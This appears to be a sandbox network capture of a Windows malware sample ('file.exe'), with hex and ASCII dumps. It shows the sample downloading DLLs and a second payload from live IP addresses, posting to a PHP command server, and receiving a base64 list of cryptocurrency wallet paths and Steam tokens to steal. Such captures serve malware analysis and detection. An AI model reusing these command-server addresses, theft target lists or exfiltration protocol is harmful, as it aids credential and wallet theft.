63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 11, 2024 12:40:29.284065008 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:29.483747005 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 11, 2024 12:40:30.210820913 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:30.410567045 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 11, 2024 12:40:30.692312002 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 12:40:30.895340919 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 11, 2024 12:40:32.136917114 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKF Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:40:32.841121912 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:32.968478918 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"wallets------DBFHDHJKKJDHJJJJKEGH--
Nov 11, 2024 12:40:33.170407057 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 11, 2024 12:40:33.179805040 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="message"files------AAKKKEBFCGDBGDGCFHCB--
Nov 11, 2024 12:40:33.398904085 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:33.413702965 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Nov 11, 2024 12:40:34.464191914 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:34.464610100 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:34.511267900 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="message"ybncbhylepme------IJECBGIJDGCAEBFIIECA--
Nov 11, 2024 12:40:34.714040995 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 11, 2024 12:40:37.447534084 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKJKFBAFIDAEBFHJKJEB--
Nov 11, 2024 12:40:38.140331030 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49953	185.215.113.16	80	6404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:40:34.726135969 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 11, 2024 12:40:35.513175011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:40:35 GMT Content-Type: application/octet-stream Content-Length: 3194368 Last-Modified: Mon, 11 Nov 2024 11:23:33 GMT Connection: keep-alive ETag: "6731e935-30be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@11@Wkd00 @.rsrc@.idata @xgavsnrb**@dcsjrelb00@.taggant00"0@
Nov 11, 2024 12:40:35.513262033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:40:35.513274908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:40:35.513286114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:40:35.513298035 CET	848	IN	Data Raw: fc 59 15 92 f3 ca 2c dc 4c e6 e3 e4 4b de eb 02 03 9a 53 7a 39 19 51 92 93 19 8c 46 00 60 4c fa 5c 5a 15 92 f3 aa 2d dc 4c e6 03 e4 4b de eb 62 03 9a 53 7a 19 19 51 92 93 19 8c 46 00 60 54 fa 6c 5a 15 92 f3 fa 29 dc 4c e6 23 e4 4b de eb c2 02 9a Data Ascii: Y,LKSz9QF`L\Z-LKbSzQF`TlZ)L#KSzQF`8dZr LCK"SzQF`Z*)LcKSzQF`LZ2)LKSzQF`LZ%LKBSzyQF`Z"LKS
Nov 11, 2024 12:40:35.513309002 CET	1236	IN	Data Raw: 19 9a 53 7a f9 1e 51 92 93 19 8c 46 00 60 4c fa 1c 5b 15 92 f3 32 2c dc 4c e6 43 f9 4b de eb 22 19 9a 53 7a d9 1e 51 92 93 19 8c 46 00 60 54 fa 2c 5b 15 92 f3 52 22 dc 4c e6 63 f9 4b de eb 82 18 9a 53 7a b9 1e 51 92 93 19 8c 46 00 60 54 fa 24 5b Data Ascii: SzQF`L[2,LCK"SzQF`T,[R"LcKSzQF`T$[j'LKSzQF`T<[vLKBSzyQF`T4[z$LKSzYQF`HLD/LKSz9QF`L@DFLKbSzQF`LPD
Nov 11, 2024 12:40:35.513324976 CET	1236	IN	Data Raw: f3 82 27 dc 4c e6 03 fc 4b de eb 62 2b 9a 53 7a 19 11 51 92 93 19 8c 46 00 60 40 fa 2c 45 15 92 f3 c2 22 dc 4c e6 23 fc 4b de eb c2 2a 9a 53 7a f9 11 51 92 93 19 8c 46 00 60 40 fa 38 45 15 92 f3 5e 25 dc 4c e6 43 fc 4b de eb 22 2a 9a 53 7a d9 11 Data Ascii: 'LKb+SzQF`@,E"L#KSzQF`@8E^%LCK"SzQF`TDFnLcK)SzQF`T\F&LK)SzQF`TF-LKB)SzyQF`HF#LK(SzYQF`F2#LK(Sz9Q
Nov 11, 2024 12:40:35.513338089 CET	1236	IN	Data Raw: 93 19 8c 46 00 60 48 fa 98 42 15 92 f3 c2 2f dc 4c e6 e3 f3 4b de eb 02 3c 9a 53 7a 39 14 51 92 93 19 8c 46 00 60 44 fa ac 42 15 92 f3 3a 20 dc 4c e6 03 f3 4b de eb 62 3c 9a 53 7a 19 14 51 92 93 19 8c 46 00 60 24 fa b4 42 15 92 f3 3a 2d dc 4c e6 Data Ascii: F`HB/LK<Sz9QF`DB: LKb<SzQF`$B:-L#K;SzQF`TB)LCK";SzQF`8B'LcK:SzQF`HB,LK:SzQF`H,BB LKB:SzyQFf akS
